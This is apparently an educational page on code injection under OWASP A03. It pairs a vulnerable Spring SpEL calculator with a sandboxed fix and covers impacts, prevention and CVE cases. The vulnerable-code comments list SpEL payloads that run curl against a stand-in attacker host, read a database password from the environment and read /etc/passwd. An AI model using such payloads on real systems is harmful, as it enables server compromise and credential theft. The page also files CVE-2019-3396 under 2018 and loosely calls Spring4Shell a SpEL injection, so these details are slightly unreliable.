OWASP Web Top 10 — A03

Code Injection

Code Injection is a critical vulnerability that allows attackers to inject and execute arbitrary code within an application's runtime environment. It occurs when user input is evaluated as code through unsafe functions like eval(), dynamic imports, script engines, or expression language interpreters.

What Is Code Injection?

Code Injection is a security vulnerability that occurs when an application executes user-supplied data as code in its own runtime environment. Unlike command injection, which executes operating system commands, code injection involves the execution of code written in the application's programming language itself. This happens when developers use unsafe evaluation functions like JavaScript's eval(), Java's ScriptEngine, Python's exec(), or expression language interpreters without proper input validation.

The core problem lies in the application's inability to distinguish between trusted code and untrusted user input. When user data is passed to code evaluation functions or expression interpreters, attackers can inject malicious code that runs with the same privileges as the application. This is particularly dangerous in enterprise applications that use dynamic expression languages like Spring Expression Language (SpEL), Object-Graph Navigation Language (OGNL), or MVEL for configuration and business logic.

Code Injection has been responsible for some of the most severe security breaches in recent years, including the Apache Struts vulnerabilities and Spring4Shell. Despite being well-documented, it remains prevalent because developers often rely on dynamic code evaluation for convenience without understanding the security implications. According to OWASP, injection vulnerabilities including code injection are ranked as A03 in the 2021 Top 10, reflecting their critical nature and widespread impact.

How It Works

1
Application accepts user input for dynamic evaluation

The application provides a feature that accepts user input intended for dynamic processing. This could be a calculation field, a template engine, a rule configuration interface, or any feature that evaluates expressions. The input might come from web forms, API requests, configuration files, or external integrations.

2
Input is passed to a code evaluation mechanism

The application takes the user-supplied input and passes it directly to a code evaluation function or expression parser. This might be eval() in JavaScript, ScriptEngine.eval() in Java, exec() in Python, or an expression language interpreter like SpEL or OGNL. The application treats the input as a legitimate expression to be evaluated.

3
Attacker crafts malicious code payload

Instead of providing a normal expression like 2+2, the attacker injects malicious code. For example, in a Java application using SpEL, they might submit T(java.lang.Runtime).getRuntime().exec('whoami') to execute system commands, or access sensitive application internals through reflection.

4
Malicious code is executed in the application context

The evaluation mechanism processes the injected code as if it were legitimate application code. The malicious payload executes with the full privileges of the application, gaining access to internal objects, memory, file system, and potentially the underlying operating system. There is no sandbox or security boundary to prevent the code from performing unauthorized actions.

5
Attacker achieves unauthorized access or control

The executed code performs the attacker's intended actions, which could include reading sensitive data from memory, modifying application state, executing system commands, establishing backdoors, or completely compromising the server. The impact is limited only by the application's privileges and the attacker's creativity.

Vulnerable Code Example

Vulnerable — Java / Spring Boot
@RestController
public class CalculatorController {

    @Autowired
    private ExpressionParser parser;

    @PostMapping("/calculate")
    public ResponseEntity<?> calculate(@RequestBody Map<String, String> req) {
        String expression = req.get("expression");

        // VULNERABLE: User input is directly evaluated as SpEL expression
        // without any validation or sandboxing
        StandardEvaluationContext context = new StandardEvaluationContext();
        Expression exp = parser.parseExpression(expression);
        Object result = exp.getValue(context);

        return ResponseEntity.ok(Map.of("result", result));
    }
}

// An attacker can execute arbitrary code by submitting:
// expression: T(java.lang.Runtime).getRuntime().exec('curl attacker.com')
//
// Or access sensitive data:
// expression: T(java.lang.System).getenv('DATABASE_PASSWORD')
//
// Or read files:
// expression: T(java.nio.file.Files).readString(
//   T(java.nio.file.Paths).get('/etc/passwd')
// )

Secure Code Example

Secure — Java / Spring Boot (Sandboxed Expression)
@RestController
public class CalculatorController {

    @PostMapping("/calculate")
    public ResponseEntity<?> calculate(@RequestBody Map<String, String> req) {
        String expression = req.get("expression");

        // SECURE: Use SimpleEvaluationContext with restricted access
        // Only allow basic arithmetic operations
        SimpleEvaluationContext context = SimpleEvaluationContext
            .forReadOnlyDataBinding()
            .build();

        // Validate input against allowlist of safe operations
        if (!isSafeExpression(expression)) {
            return ResponseEntity.badRequest()
                .body(Map.of("error", "Invalid expression"));
        }

        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(expression);
        Object result = exp.getValue(context);

        return ResponseEntity.ok(Map.of("result", result));
    }

    private boolean isSafeExpression(String expr) {
        // Only allow numbers and basic operators
        return expr.matches("^[0-9+\\-*/().\\s]+$");
    }
}

// SimpleEvaluationContext prevents access to:
// - Java types via T(...)
// - Constructors
// - Bean references
// - Property assignment
//
// Combined with input validation, this prevents code injection.

Types of Code Injection

Server-Side Code Injection

The most dangerous form, where arbitrary code executes on the server with application privileges. This includes injection into scripting engines (Java's Nashorn/GraalJS, Python's exec/eval), template engines (Server-Side Template Injection in Jinja2, Velocity, Freemarker), and dynamic class loading mechanisms. Attackers can access file systems, databases, environment variables, and potentially execute system commands, leading to complete server compromise.

Expression Language Injection

A prevalent vulnerability in Java enterprise applications using expression languages for configuration and data binding. Spring Expression Language (SpEL) injection allows access to Java classes and runtime via T() notation. OGNL (Object-Graph Navigation Language) injection, notorious in Apache Struts, enables object traversal and method invocation. MVEL and Java EL have similar risks. These vulnerabilities often arise from using user input in template expressions or dynamic configurations.

Dynamic Code Generation

Occurs when applications generate code dynamically using user input, then compile and execute it. This includes template compilation where user data is embedded in code templates, bytecode generation using libraries like ASM or Javassist with untrusted input, and dynamic query builders that construct executable code. Even serialization frameworks that support code execution features (like Python's pickle or Java's serialization) can be exploited if they process untrusted data containing code references.

Impact

Code Injection is one of the most severe vulnerabilities because it grants attackers the ability to execute arbitrary code with the application's full privileges. The consequences can be catastrophic for an organization.

Complete server compromise

Attackers can execute arbitrary code with the application's permissions, potentially escalating to full operating system access. They can install backdoors, create administrative accounts, modify system configurations, and establish persistent access. This can lead to complete control over the server infrastructure.

Data theft and exfiltration

Code injection enables direct access to application memory, databases, configuration files, and environment variables. Attackers can extract sensitive data including credentials, API keys, encryption keys, customer information, and proprietary business data. They can bypass all application-level access controls and authentication mechanisms.

Lateral movement and network exploitation

Once inside, attackers can use the compromised server as a pivot point to scan internal networks, access databases and microservices that trust the application, and propagate to other systems. They can read credentials from memory or configuration files to access additional resources, potentially compromising the entire infrastructure.

Supply chain attacks

In CI/CD environments or development platforms, code injection can be used to inject malicious code into build pipelines, modify source code repositories, steal signing certificates, or backdoor software releases. This can affect not just the immediate application but all downstream users and customers, as seen in sophisticated supply chain compromises.

Prevention Checklist

Avoid dynamic code evaluation entirely

The best defense is to never evaluate user input as code. Use static code paths, configuration-driven logic, and predefined functions instead of dynamic evaluation. Replace eval(), exec(), script engines, and unrestricted expression languages with safer alternatives. If dynamic behavior is needed, use domain-specific languages with limited, safe operations.

Use sandboxed evaluation contexts

If expression evaluation is absolutely necessary, use the most restrictive context available. In Spring, use SimpleEvaluationContext instead of StandardEvaluationContext. Disable dangerous features like type references, constructors, and bean access. In JavaScript, use isolated VM contexts. Configure script engines with security managers that prevent access to dangerous classes and methods.

Implement strict input validation and allowlisting

Validate all user input against an allowlist of permitted characters and patterns before any processing. For mathematical expressions, only allow numbers and basic operators. For business rules, restrict to predefined field names and operations. Reject any input containing suspicious patterns like method calls, type references, or reflection syntax. Defense-in-depth requires validation even when using sandboxed contexts.

Apply principle of least privilege

Run applications with minimal operating system permissions. Use security managers, AppArmor, or SELinux to restrict file system access, network operations, and system command execution. In containerized environments, use read-only file systems and drop unnecessary capabilities. This limits damage even if code injection succeeds.

Audit dependencies and frameworks

Keep all frameworks and libraries updated, especially those dealing with expressions or templates (Spring, Struts, template engines). Many code injection vulnerabilities exist in third-party libraries. Use dependency scanning tools to detect known vulnerabilities. Review framework configurations to ensure expression languages are disabled or properly restricted.

Implement monitoring and runtime protection

Deploy runtime application self-protection (RASP) solutions that can detect and block code injection attempts. Monitor for suspicious patterns like calls to Runtime.exec(), file system access from expression contexts, or unusual reflection activity. Log all expression evaluations with their inputs for forensic analysis. Use Web Application Firewalls (WAF) with rules to detect common injection patterns.

Real-World Examples

2017

Apache Struts 2 (CVE-2017-5638)

A critical OGNL injection vulnerability in Apache Struts 2 allowed remote code execution by sending malicious Content-Type headers. The Equifax breach exploited this vulnerability, compromising 147 million records. The vulnerability resulted from improper validation of user input passed to OGNL expression evaluation, allowing attackers to execute arbitrary commands on the server.

2022

Spring4Shell (CVE-2022-22965)

A remote code execution vulnerability in the Spring Framework caused by unsafe class property binding that could be exploited through SpEL injection. Attackers could modify Tomcat's logging configuration to write malicious JSP files, achieving code execution. The vulnerability affected a vast number of Java applications worldwide and required immediate patching.

2018

Atlassian Confluence (CVE-2019-3396)

A Server-Side Template Injection vulnerability in Atlassian Confluence allowed remote attackers to achieve path traversal and remote code execution through the Widget Connector macro. The vulnerability was exploited to inject Velocity template code, enabling attackers to execute arbitrary code on affected Confluence servers, compromising sensitive corporate documentation and internal wikis.

2021

VMware vCenter (CVE-2021-21985)

A remote code execution vulnerability in VMware vCenter Server due to lack of input validation in the Virtual SAN Health Check plugin. Attackers could send specially crafted requests to execute arbitrary code with unrestricted privileges, potentially compromising entire virtualized environments. The vulnerability affected thousands of enterprise data centers globally.

Ready to Test Your Knowledge?

Put what you have learned into practice. Try identifying and fixing Code Injection vulnerabilities in our interactive coding challenges, or explore more security guides to deepen your understanding.